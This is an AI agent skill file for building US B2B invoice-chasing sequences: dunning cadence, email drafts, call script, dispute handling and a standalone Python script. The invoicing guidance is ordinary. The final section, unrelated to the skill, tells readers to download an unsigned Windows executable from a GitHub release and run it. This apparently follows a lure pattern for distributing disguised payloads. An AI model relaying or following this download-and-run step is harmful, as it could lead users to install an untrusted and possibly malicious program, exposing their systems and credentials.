Invoice Chasing Sequence

Plans a US B2B invoice follow-up cadence over 30, 60 and 90 days, with the email drafts, call script and dispute path for each touch. Written for US B2B service firms, agencies, trades and wholesale sellers.

Use this skill when someone asks for:

invoice chasing sequence
accounts receivable follow up emails
dunning letter template
net 30 past due reminder

The job

Collections get handled by whoever answers the phone, so the same invoice is chased awkwardly six times and a good customer gets irritated.

What you get

Read the invoice list: customer, invoice number, amount, issue date, due date, terms and the last contact date.
Bucket the invoices by days past due and by balance size.
Build the touch cadence: courtesy note, due date reminder, overdue notice, escalation call, final notice.
Draft each touch with the invoice number, amount and due date, and leave the payment instruction line for the user to paste.

Output contract:

cadence_plan - a dated plan per invoice with the touch type, the channel and the owner
email_drafts - one ready-to-send draft per touch with the payment line left as a placeholder
call_script - the short version for a phone follow-up
dispute_path - what to do when the customer says the invoice is wrong
hold_list - the invoices where the business has decided to wait

US specifics that matter

Net 15, Net 30 and Net 45 terms come from the signed agreement, and many US contracts also set a late fee and a clause about collection costs.
Unpaid sales of goods are usually governed by state UCC Article 2, while service invoices are governed by the contract itself.
An ACH payment typically settles in 1 to 3 business days, so a reminder should allow for that before the next touch.
B2B invoice collection is a contractual matter; consumer debt collection is a different legal regime, and this skill is built for business invoices.

Guardrails (hard rules)

Never send the reminders; the user sends them from their own email.
Never threaten litigation, garnishment, a credit report or a lien unless the user's attorney wrote that language.
Never include another customer's information, and never use a consumer balance for a business account.
Never offer a discount, a payment plan or a write-off without the owner's approval.

Quickstart

1. Fill in the brief

templates/ar-worklist.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

bash

python3 scripts/build_collection_plan.py --input ar-worklist.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/ar-collection.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Before you chase

Confirm the contract terms, the invoice date and the due date.
Confirm the goods or services were accepted before escalating.
Check whether the customer has already raised a dispute.
Confirm the remittance method the customer actually uses.
Check the late fee clause in the signed agreement before you cite one.

Tone that works on B2B accounts

Put the invoice number and the amount in the first line.
Ask a specific question instead of demanding payment.
Offer a payment plan only if the business has approved one in writing.
Keep the relationship intact where the balance is recoverable.
Note that a supplier relationship is often worth more than the balance.

Escalation reality

Handing a balance to a collections agency or a lawyer is a business decision with a cost attached.
Preserve the contract, the invoices and the delivery proof before anything escalates.
Keep the aging report current so the write-off decision happens with data.
Consumer balances follow the FDCPA; this skill is for business-to-business invoices only.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows desktop app with several AI models in one window, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Item	Value
Download	`https://github.com/rapidworker1/Multiple-AI-models-Toolkit/releases/download/Main/ModelBox-Windows-x64.zip`
File	`ModelBox-Windows-x64.zip` (9.6 MB)
SHA-256	`ffe500c8c010240209e759480931c1ec6da6c232a3ddcfbf737a345717dc03ff`
Inside the archive	`ModelBox-Windows-x64.exe`

Check the download before you run it. PowerShell:

powershell

Get-FileHash .\ModelBox-Windows-x64.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start ModelBox-Windows-x64.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.
